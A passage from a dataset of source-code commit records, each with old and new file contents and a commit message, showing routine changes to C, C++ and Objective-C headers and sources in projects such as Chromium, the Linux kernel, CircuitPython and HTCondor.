guards.\n","lang":"C","license":"apache-2.0","repos":"antont\/tundra,jesterKing\/naali,antont\/tundra,realXtend\/tundra,BogusCurry\/tundra,realXtend\/tundra,pharos3d\/tundra,pharos3d\/tundra,BogusCurry\/tundra,BogusCurry\/tundra,AlphaStaxLLC\/tundra,jesterKing\/naali,antont\/tundra,BogusCurry\/tundra,AlphaStaxLLC\/tundra,jesterKing\/naali,realXtend\/tundra,BogusCurry\/tundra,pharos3d\/tundra,antont\/tundra,jesterKing\/naali,AlphaStaxLLC\/tundra,AlphaStaxLLC\/tundra,BogusCurry\/tundra,realXtend\/tundra,antont\/tundra,jesterKing\/naali,pharos3d\/tundra,AlphaStaxLLC\/tundra,jesterKing\/naali,realXtend\/tundra,pharos3d\/tundra,antont\/tundra,pharos3d\/tundra,realXtend\/tundra,AlphaStaxLLC\/tundra,antont\/tundra,jesterKing\/naali"}
{"commit":"b6656313eafd4a1742b9449c9886624f5a83d5aa","old_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","new_file":"content\/browser\/renderer_host\/quota_dispatcher_host.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  bool OnMessageReceived(const IPC::Message& message, bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n\n#include \"base\/basictypes.h\"\n#include \"content\/browser\/browser_message_filter.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebStorageQuotaType.h\"\n\nclass GURL;\n\nclass QuotaDispatcherHost : public BrowserMessageFilter {\n public:\n  ~QuotaDispatcherHost();\n  virtual bool OnMessageReceived(const IPC::Message& message,\n                                 bool* message_was_ok);\n\n private:\n  void OnQueryStorageUsageAndQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type);\n  void OnRequestStorageQuota(\n      int request_id,\n      const GURL& origin_url,\n      WebKit::WebStorageQuotaType type,\n      int64 requested_size);\n};\n\n#endif  \/\/ CONTENT_BROWSER_RENDERER_HOST_QUOTA_DISPATCHER_HOST_H_\n","subject":"Fix clang build that have been broken by 81364.","message":"Fix clang build that have been broken by 81364.\n\nBUG=none\nTEST=green tree\nTBR=jam\n\nReview URL: http:\/\/codereview.chromium.org\/6838008\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@81368 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium"}
{"commit":"27cf500cbbf4672c98f4d31442bfba689cd0d508","old_file":"stag.c","new_file":"stag.c","old_contents":"\/\/ stdio for file I\/O\n#include <stdio.h>\n\nint main(int argc, char *argv[]) {\n  int status = 1;\n  float value;\n\n  while(status != EOF) {\n    status = fscanf(stdin, \"%f\\n\", &value);\n    if(status == 1)\n      fprintf(stdout, \"%f\\n\", value);\n    else\n      fprintf(stdout, \"Error reading data (%d)\\n\", status);\n  }\n}\n","new_contents":"\/\/ stdio for file I\/O\n#include <stdio.h>\n\n#define HISTORY_SIZE 5\n\nvoid print_values(float *values, int current_i) {\n  \/\/ Print values to stdout, starting from one after newest (oldest) and\n  \/\/ circle around to newest\n  int i = current_i;\n  for(i = current_i; i < current_i + HISTORY_SIZE; i++) {\n    fprintf(stdout, \"%.1f, \", values[i%HISTORY_SIZE]);\n  }\n  fprintf(stdout, \"\\n\");\n}\n\nint main(int argc, char *argv[]) {\n  int status = 1;\n  int values_i = 0;\n  float v;\n  float values[HISTORY_SIZE];\n\n  \/\/ Read floats to values, circle around after filling buffer \n  while(status != EOF) {\n    status = fscanf(stdin, \"%f\\n\", &v);\n    if(status == 1) {\n      values[values_i] = v;\n      values_i = (values_i+1) % HISTORY_SIZE;\n      print_values(values, values_i);\n      \/\/fprintf(stdout, \"%f\\n\", v);\n    } else {\n      fprintf(stdout, \"Error reading data (%d)\\n\", status);\\\n    }\n  }\n}\n","subject":"Save value history as circular array, print function for debug","message":"Save value history as circular array, print function for debug\n","lang":"C","license":"bsd-3-clause","repos":"seenaburns\/stag"}
{"commit":"a07bd876a0486a1adfcf319dc39001d73183db9f","old_file":"grantlee_defaultfilters\/join.h","new_file":"grantlee_defaultfilters\/join.h","old_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef JOINFILTER_H\n#define JOINFILTER_H\n\n#include \"filter.h\"\n\nusing namespace Grantlee;\n\nclass GRANTLEE_EXPORT JoinFilter : public Filter\n{\n  Q_OBJECT\npublic:\n  JoinFilter(QObject *parent = 0);\n\n  Grantlee::SafeString doFilter(const QVariant &input, const Grantlee::SafeString &argument = QString(), bool autoescape=false) const;\n\n};\n\n#endif\n","new_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef JOINFILTER_H\n#define JOINFILTER_H\n\n#include \"filter.h\"\n\nusing namespace Grantlee;\n\nclass GRANTLEE_EXPORT JoinFilter : public Filter\n{\n  Q_OBJECT\npublic:\n  JoinFilter(QObject *parent = 0);\n\n  Grantlee::SafeString doFilter(const QVariant &input, const Grantlee::SafeString &argument = QString(), bool autoescape=false) const;\n\n  bool isSafe() { return true; }\n\n};\n\n#endif\n","subject":"Join is a safe filter.","message":"Join is a safe filter.\n","lang":"C","license":"lgpl-2.1","repos":"simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee"}
{"commit":"e0891a9816316b5e05fd5b0453ffe9fd6a56f489","old_file":"include\/asm-generic\/getorder.h","new_file":"include\/asm-generic\/getorder.h","old_contents":"#ifndef __ASM_GENERIC_GETORDER_H\n#define __ASM_GENERIC_GETORDER_H\n\n#ifndef __ASSEMBLY__\n\n#include <linux\/compiler.h>\n\n\/* Pure 2^n version of get_order *\/\nstatic inline __attribute_const__ int get_order(unsigned long size)\n{\n\tint order;\n\n\tsize = (size - 1) >> (PAGE_SHIFT - 1);\n\torder = -1;\n\tdo {\n\t\tsize >>= 1;\n\t\torder++;\n\t} while (size);\n\treturn order;\n}\n\n#endif\t\/* __ASSEMBLY__ *\/\n\n#endif\t\/* __ASM_GENERIC_GETORDER_H *\/\n","new_contents":"#ifndef __ASM_GENERIC_GETORDER_H\n#define __ASM_GENERIC_GETORDER_H\n\n#ifndef __ASSEMBLY__\n\n#include <linux\/compiler.h>\n\n\/**\n * get_order - Determine the allocation order of a memory size\n * @size: The size for which to get the order\n *\n * Determine the allocation order of a particular sized block of memory.  This\n * is on a logarithmic scale, where:\n *\n *\t0 -> 2^0 * PAGE_SIZE and below\n *\t1 -> 2^1 * PAGE_SIZE to 2^0 * PAGE_SIZE + 1\n *\t2 -> 2^2 * PAGE_SIZE to 2^1 * PAGE_SIZE + 1\n *\t3 -> 2^3 * PAGE_SIZE to 2^2 * PAGE_SIZE + 1\n *\t4 -> 2^4 * PAGE_SIZE to 2^3 * PAGE_SIZE + 1\n *\t...\n *\n * The order returned is used to find the smallest allocation granule required\n * to hold an object of the specified size.\n *\n * The result is undefined if the size is 0.\n *\n * This function may be used to initialise variables with compile time\n * evaluations of constants.\n *\/\nstatic inline __attribute_const__ int get_order(unsigned long size)\n{\n\tint order;\n\n\tsize = (size - 1) >> (PAGE_SHIFT - 1);\n\torder = -1;\n\tdo {\n\t\tsize >>= 1;\n\t\torder++;\n\t} while (size);\n\treturn order;\n}\n\n#endif\t\/* __ASSEMBLY__ *\/\n\n#endif\t\/* __ASM_GENERIC_GETORDER_H *\/\n","subject":"Adjust the comment on get_order() to describe the size==0 case","message":"bitops: Adjust the comment on get_order() to describe the size==0 case\n\nAdjust the comment on get_order() to note that the result of passing a size of\n0 results in an undefined value.\n\nSigned-off-by: David Howells <ebac1d06c1688626821bb0e574a037a7a5354e49@redhat.com>\nLink: bda992bc1329f96689c6a1f1fe8e9514639fac43@warthog.procyon.org.uk\nAcked-by: Arnd Bergmann <f2c659f01951776204a6c5b902787d9019fbeebd@arndb.de>\nSigned-off-by: H. Peter Anvin <8a453bad9912ffe59bc0f0b8abe03df9be19379e@zytor.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"bb1883ff25f52e7f65b31ea9582842b18af0c336","old_file":"file4.c","new_file":"file4.c","old_contents":"file4.c - r1\nTest checkin in master1-updated\nTest checkin in master2\n\n","new_contents":"file4.c - r1\nTest checkin in master1-updated - updated_by_master\nTest checkin in master2\nTest checkin in master3\nTest checkin in master4\n\n\n","subject":"Test commit in master4 branch","message":"Test commit in master4 branch\n","lang":"C","license":"apache-2.0","repos":"shahedmolla\/test"}
{"commit":"410ddc6b7c4c652769e924bb66fa9d5fd1221cea","old_file":"PDKTModelBuilder\/CoreData\/NSManagedObject+PDKTModelBuilder.h","new_file":"PDKTModelBuilder\/CoreData\/NSManagedObject+PDKTModelBuilder.h","old_contents":"\/\/\n\/\/  NSManagedObject+PDKTUtils.h\n\/\/  PDKTModelBuilder\n\/\/\n\/\/  Created by Daniel García García on 31\/08\/14.\n\/\/  Copyright (c) 2014 Produkt. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n#import \"PDKTModelBuilderEntity.h\"\n\n@protocol PDKTModelBuilderCoreDataEntity <PDKTModelBuilderEntity>\n@optional\n@property (strong, nonatomic) NSDate *entityUpdateDate;\n@end\n\n@class PDKTEntityDataParser;\n\n@interface NSManagedObject (PDKTModelBuilderEntityDefault)\n+ (NSString *)defaultEntityIdPropertyName;\n@end\n\n@interface NSManagedObject (PDKTModelBuilder)\n+ (instancetype)updateOrInsertIntoManagedObjectContext:(NSManagedObjectContext *)managedObjectContext withDictionary:(NSDictionary *)dictionary;\n+ (instancetype)insertIntoManagedObjectContext:(NSManagedObjectContext *)managedObjectContext withDictionary:(NSDictionary *)dictionary;\n+ (instancetype)fetchObjectWithValue:(id)value forKey:(NSString *)key inManagedObjectContext:(NSManagedObjectContext *)managedObjectContext;\n+ (NSString *)objectIdWithDictionary:(NSDictionary *)dictionary;\n@end\n","new_contents":"\/\/\n\/\/  NSManagedObject+PDKTUtils.h\n\/\/  PDKTModelBuilder\n\/\/\n\/\/  Created by Daniel García García on 31\/08\/14.\n\/\/  Copyright (c) 2014 Produkt. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n#import \"PDKTModelBuilderEntity.h\"\n\n@protocol PDKTModelBuilderCoreDataEntity <PDKTModelBuilderEntity>\n@optional\n@property (strong, nonatomic) NSDate *entityUpdateDate;\n@property (strong, nonatomic) NSNumber *order;\n@end\n\n@class PDKTEntityDataParser;\n\n@interface NSManagedObject (PDKTModelBuilderEntityDefault)\n+ (NSString *)defaultEntityIdPropertyName;\n@end\n\n@interface NSManagedObject (PDKTModelBuilder)\n+ (instancetype)updateOrInsertIntoManagedObjectContext:(NSManagedObjectContext *)managedObjectContext withDictionary:(NSDictionary *)dictionary;\n+ (instancetype)insertIntoManagedObjectContext:(NSManagedObjectContext *)managedObjectContext withDictionary:(NSDictionary *)dictionary;\n+ (instancetype)fetchObjectWithValue:(id)value forKey:(NSString *)key inManagedObjectContext:(NSManagedObjectContext *)managedObjectContext;\n+ (NSString *)objectIdWithDictionary:(NSDictionary *)dictionary;\n@end\n","subject":"Add order property to protocol","message":"Add order property to protocol\n","lang":"C","license":"mit","repos":"antjimar\/PDKTModelBuilder"}
{"commit":"2f0d82a50ba16300dff596f6ddc7c957f803179a","old_file":"ports\/raspberrypi\/boards\/challenger_nb_rp2040_wifi\/mpconfigboard.h","new_file":"ports\/raspberrypi\/boards\/challenger_nb_rp2040_wifi\/mpconfigboard.h","old_contents":"#define MICROPY_HW_BOARD_NAME \"Challenger NB RP2040 WiFi\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define DEFAULT_UART_BUS_TX   (&pin_GPIO16)\n#define DEFAULT_UART_BUS_RX   (&pin_GPIO17)\n#define DEFAULT_I2C_BUS_SDA   (&pin_GPIO0)\n#define DEFAULT_I2C_BUS_SCL   (&pin_GPIO1)\n#define DEFAULT_SPI_BUS_SCK   (&pin_GPIO22)\n#define DEFAULT_SPI_BUS_MOSI  (&pin_GPIO23)\n#define DEFAULT_SPI_BUS_MISO  (&pin_GPIO24)\n","new_contents":"#define MICROPY_HW_BOARD_NAME \"Challenger NB RP2040 WiFi\"\n#define MICROPY_HW_MCU_NAME \"rp2040\"\n\n#define DEFAULT_UART_BUS_TX   (&pin_GPIO16)\n#define DEFAULT_UART_BUS_RX   (&pin_GPIO17)\n#define DEFAULT_I2C_BUS_SDA   (&pin_GPIO0)\n#define DEFAULT_I2C_BUS_SCL   (&pin_GPIO1)\n","subject":"Disable board.SPI() for Challenger NB RP2040 WiFi","message":"Disable board.SPI() for Challenger NB RP2040 WiFi\n\nThis was done as a result of an issue with the SPI pin mappings.\nPlease refer to the following for additional information: https:\/\/ilabs.se\/challenger-rp2040-wifi-spi-bug\n","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"a8904687f65f794ab5d01c58c6f9beeda5742325","old_file":"kernel\/libc\/newlib\/newlib_isatty.c","new_file":"kernel\/libc\/newlib\/newlib_isatty.c","old_contents":"\/* KallistiOS ##version##\n\n   newlib_isatty.c\n   Copyright (C)2004 Dan Potter\n\n*\/\n\n#include <sys\/reent.h>\n\nint isatty(int fd) {\n    return 0;\n}\n\nint _isatty_r(struct _reent *reent, int fd) {\n    return 0;\n}\n","new_contents":"\/* KallistiOS ##version##\n\n   newlib_isatty.c\n   Copyright (C) 2004 Dan Potter\n   Copyright (C) 2012 Lawrence Sebald\n\n*\/\n\n#include <sys\/reent.h>\n\nint isatty(int fd) {\n    \/* Make sure that stdin, stdout, and stderr are shown as ttys, otherwise\n       they won't be set as line-buffered. *\/\n    if(fd >= 0 && fd <= 2) {\n        return 1;\n    }\n\n    return 0;\n}\n\nint _isatty_r(struct _reent *reent, int fd) {\n    \/* Make sure that stdin, stdout, and stderr are shown as ttys, otherwise\n       they won't be set as line-buffered.*\/\n    if(fd >= 0 && fd <= 2) {\n        return 1;\n    }\n\n    return 0;\n}\n","subject":"Make it so that stdin\/stdout\/stderr will be set as line buffered (newlib has to think they're ttys if we have fcntl, which we do now).","message":"Make it so that stdin\/stdout\/stderr will be set as line buffered (newlib has to think they're ttys if we have fcntl, which we do now).\n\n\n","lang":"C","license":"bsd-3-clause","repos":"DreamcastSDK\/kos,DreamcastSDK\/kos,DreamcastSDK\/kos"}
{"commit":"3cc120b985c7134fd6c3d2a40bab85711b2da4ee","old_file":"Runtime\/Rendering\/LightingPass.h","new_file":"Runtime\/Rendering\/LightingPass.h","old_contents":"#pragma once\n#include \"Rendering\/RenderingPass.h\"\n#include \"Math\/Vector3.h\"\n\nnamespace Mile\n{\n   class GBuffer;\n   class BlendState;\n   class MEAPI LightingPass : public RenderingPass\n   {\n      DEFINE_CONSTANT_BUFFER(CameraParamsConstantBuffer)\n      {\n         Vector3 CameraPos;\n      };\n\n      DEFINE_CONSTANT_BUFFER(LightParamsConstantBuffer)\n      {\n         Vector3 LightPos;\n         Vector3 LightRadiance;\n         Vector3 LightDirection;\n         UINT32 LightType;\n      };\n\n   public:\n      LightingPass(class RendererDX11* renderer);\n      ~LightingPass();\n\n      virtual bool Init(const String& shaderPath) override;\n      virtual bool Bind(ID3D11DeviceContext& deviceContext) override;\n      virtual bool Unbind(ID3D11DeviceContext& deviceContext) override;\n\n      void SetGBuffer(GBuffer* gBuffer);\n      void UpdateCameraParamsBuffer(ID3D11DeviceContext& deviceContext, CameraParamsConstantBuffer buffer);\n      void UpdateLightParamsBuffer(ID3D11DeviceContext& deviceContext, LightParamsConstantBuffer buffer);\n\n   private:\n      GBuffer* m_gBuffer;\n      CBufferPtr m_cameraParamsBuffer;\n      CBufferPtr m_lightParamsBuffer;\n      BlendState* m_additiveBlendState;\n\n   };\n}","new_contents":"#pragma once\n#include \"Rendering\/RenderingPass.h\"\n#include \"Math\/Vector3.h\"\n\nnamespace Mile\n{\n   class GBuffer;\n   class BlendState;\n   class MEAPI LightingPass : public RenderingPass\n   {\n      DEFINE_CONSTANT_BUFFER(CameraParamsConstantBuffer)\n      {\n         Vector3 CameraPos;\n      };\n\n      DEFINE_CONSTANT_BUFFER(LightParamsConstantBuffer)\n      {\n         Vector3 LightPos;\n         Vector3 LightDirection;\n         Vector3 LightRadiance;\n         UINT32 LightType;\n      };\n\n   public:\n      LightingPass(class RendererDX11* renderer);\n      ~LightingPass();\n\n      virtual bool Init(const String& shaderPath) override;\n      virtual bool Bind(ID3D11DeviceContext& deviceContext) override;\n      virtual bool Unbind(ID3D11DeviceContext& deviceContext) override;\n\n      void SetGBuffer(GBuffer* gBuffer);\n      void UpdateCameraParamsBuffer(ID3D11DeviceContext& deviceContext, CameraParamsConstantBuffer buffer);\n      void UpdateLightParamsBuffer(ID3D11DeviceContext& deviceContext, LightParamsConstantBuffer buffer);\n\n   private:\n      GBuffer* m_gBuffer;\n      CBufferPtr m_cameraParamsBuffer;\n      CBufferPtr m_lightParamsBuffer;\n      BlendState* m_additiveBlendState;\n\n   };\n}","subject":"Reorder light params buffer struct","message":"Reorder light params buffer struct\n","lang":"C","license":"mit","repos":"HoRangDev\/MileEngine,HoRangDev\/MileEngine"}
{"commit":"e9148261b2105762119d5fecae3ef88d653d519f","old_file":"src\/condor_includes\/condor_fix_timeval.h","new_file":"src\/condor_includes\/condor_fix_timeval.h","old_contents":"#ifndef TIMEVAL_H\n#define TIMEVAL_H\n\n#if defined(ULTRIX42) || defined(ULTRIX43) || defined(HPUX9)\n#if !defined(_ALL_SOURCE)\nstruct timeval {\n\tlong    tv_sec;     \/* seconds *\/\n\tlong    tv_usec;    \/* and microseconds *\/\n};\nstruct  itimerval {\n    struct  timeval it_interval;    \/* timer interval *\/\n    struct  timeval it_value;   \/* current value *\/\n};\n\n#endif\t\/* _ALL_SOURCE *\/\n#else\n#include <sys\/time.h>\n#endif\n\n#endif\n","new_contents":"#ifndef TIMEVAL_H\n#define TIMEVAL_H\n\n#if defined(ULTRIX43) && !defined(_ALL_SOURCE)\n\tstruct timeval {\n\t\tlong    tv_sec;     \/* seconds *\/\n\t\tlong    tv_usec;    \/* and microseconds *\/\n\t};\n\tstruct  itimerval {\n\t\tstruct  timeval it_interval;    \/* timer interval *\/\n\t\tstruct  timeval it_value;   \/* current value *\/\n\t};\n#else\n#\tinclude <sys\/time.h>\n#endif\n\n#endif\n","subject":"Simplify a bit as special treatment is no longer needed for HPUX.","message":"Simplify a bit as special treatment is no longer needed for HPUX.\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,htcondor\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/condor,htcondor\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting"}
{"commit":"c0d5cbad61bdde819a3d6c04e5b174fc85384343","old_file":"src\/modules\/conf_randr\/e_smart_monitor.h","new_file":"src\/modules\/conf_randr\/e_smart_monitor.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\nvoid e_smart_monitor_crtc_set(Evas_Object *obj, Ecore_X_Randr_Crtc crtc, Evas_Coord cx, Evas_Coord cy, Evas_Coord cw, Evas_Coord ch);\nvoid e_smart_monitor_output_set(Evas_Object *obj, Ecore_X_Randr_Output output);\nvoid e_smart_monitor_grid_set(Evas_Object *obj, Evas_Object *grid, Evas_Coord gx, Evas_Coord gy, Evas_Coord gw, Evas_Coord gh);\nvoid e_smart_monitor_virtual_size_set(Evas_Object *obj, Evas_Coord vw, Evas_Coord vh);\nvoid e_smart_monitor_background_set(Evas_Object *obj, Evas_Coord dx, Evas_Coord dy);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\nvoid e_smart_monitor_crtc_set(Evas_Object *obj, Ecore_X_Randr_Crtc crtc, Evas_Coord cx, Evas_Coord cy, Evas_Coord cw, Evas_Coord ch);\nvoid e_smart_monitor_output_set(Evas_Object *obj, Ecore_X_Randr_Output output);\nvoid e_smart_monitor_grid_set(Evas_Object *obj, Evas_Object *grid, Evas_Coord gx, Evas_Coord gy, Evas_Coord gw, Evas_Coord gh);\nvoid e_smart_monitor_grid_virtual_size_set(Evas_Object *obj, Evas_Coord vw, Evas_Coord vh);\nvoid e_smart_monitor_background_set(Evas_Object *obj, Evas_Coord dx, Evas_Coord dy);\nvoid e_smart_monitor_current_geometry_set(Evas_Object *obj, Evas_Coord x, Evas_Coord y, Evas_Coord w, Evas_Coord h);\n\n# endif\n#endif\n","subject":"Add function prototype for setting current geometry. Rename function prototype for grid virtual size set.","message":"Add function prototype for setting current geometry.\nRename function prototype for grid virtual size set.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84195\n","lang":"C","license":"bsd-2-clause","repos":"FlorentRevest\/Enlightenment,rvandegrift\/e,tasn\/enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment"}
{"commit":"6ce734489e2bef9002541cc45c29aad582e08f32","old_file":"Analytics\/SEGEcommerce.h","new_file":"Analytics\/SEGEcommerce.h","old_contents":"\/\/\n\/\/  SEGEcommerce.h\n\/\/  Analytics\n\/\/\n\/\/  Created by Travis Jeffery on 7\/17\/14.\n\/\/  Copyright (c) 2014 Segment.io. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol SEGEcommerce <NSObject>\n\n- (void)viewedProduct;\n- (void)removedProduct;\n- (void)addedProduct;\n- (void)completedOrder;\n\n@end\n","new_contents":"\/\/\n\/\/  SEGEcommerce.h\n\/\/  Analytics\n\/\/\n\/\/  Created by Travis Jeffery on 7\/17\/14.\n\/\/  Copyright (c) 2014 Segment.io. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol SEGEcommerce <NSObject>\n@optional\n- (void)viewedProduct:(NSDictionary *)properties;\n- (void)removedProduct:(NSDictionary *)properties;\n- (void)addedProduct:(NSDictionary *)properties;\n- (void)completedOrder:(NSDictionary *)properties;\n@end\n","subject":"Fix ecommerce methods to take properties dictionary","message":"Fix ecommerce methods to take properties dictionary\n\nAcked-by: Travis Jeffery <546b05909706652891a87f7bfe385ae147f61f91@travisjeffery.com>\n","lang":"C","license":"mit","repos":"rudywen\/analytics-ios,jlandon\/analytics-ios,jtomson-mdsol\/analytics-ios,hzalaz\/analytics-ios,cfraz89\/analytics-ios,jlandon\/analytics-ios,operator\/analytics-ios,orta\/analytics-ios,hzalaz\/analytics-ios,abodo-dev\/analytics-ios,segmentio\/analytics-ios,dbachrach\/analytics-ios,dcaunt\/analytics-ios,string-team\/analytics-ios,lumoslabs\/analytics-ios,dcaunt\/analytics-ios,vinod1988\/analytics-ios,rudywen\/analytics-ios,cfraz89\/analytics-ios,abodo-dev\/analytics-ios,jonathannorris\/analytics-ios,abodo-dev\/analytics-ios,cfraz89\/analytics-ios,djfink-carglass\/analytics-ios,rudywen\/analytics-ios,graingert\/analytics-ios,jonathannorris\/analytics-ios,ldiqual\/analytics-ios,jonathannorris\/analytics-ios,operator\/analytics-ios,dcaunt\/analytics-ios,string-team\/analytics-ios,vinod1988\/analytics-ios,ldiqual\/analytics-ios,lumoslabs\/analytics-ios,lumoslabs\/analytics-ios,djfink-carglass\/analytics-ios,jtomson-mdsol\/analytics-ios,vinod1988\/analytics-ios,segmentio\/analytics-ios,graingert\/analytics-ios,hzalaz\/analytics-ios,segmentio\/analytics-ios,orta\/analytics-ios,dbachrach\/analytics-ios,jtomson-mdsol\/analytics-ios,string-team\/analytics-ios,segmentio\/analytics-ios,ldiqual\/analytics-ios,orta\/analytics-ios,dbachrach\/analytics-ios,operator\/analytics-ios,jlandon\/analytics-ios,djfink-carglass\/analytics-ios,graingert\/analytics-ios"}
{"commit":"0ae1522b36e4f7fbea3770d108a10d4bc784d26f","old_file":"include\/franka\/lowpass_filter.h","new_file":"include\/franka\/lowpass_filter.h","old_contents":"\/\/ Copyright (c) 2017 Franka Emika GmbH\n\/\/ Use of this source code is governed by the Apache-2.0 license, see LICENSE\n#pragma once\n\n#include <cmath>\n\n\/**\n * @file lowpass_filter.h\n * Contains functions for filtering signals with a low-pass filter.\n *\/\n\nnamespace franka {\n\/**\n * Maximum cutoff frequency\n *\/\nconstexpr double kMaxCutoffFrequency = 1000.0;\n\/**\n * Default cutoff frequency\n *\/\nconstexpr double kDefaultCutoffFrequency = 100.0;\n\/**\n * Applies a first-order low-pass filter\n *\n * @param[in] sample_time Sample time constant\n * @param[in] y Current value of the signal to be filtered\n * @param[in] y_last Value of the signal to be filtered in the previous time step\n * @param[in] cutoff_frequency Cutoff frequency of the low-pass filter\n *\n * @return Filtered value.\n *\/\ninline double lowpassFilter(double sample_time, double y, double y_last, double cutoff_frequency) {\n  double gain = sample_time \/ (sample_time + (1.0 \/ (2.0 * 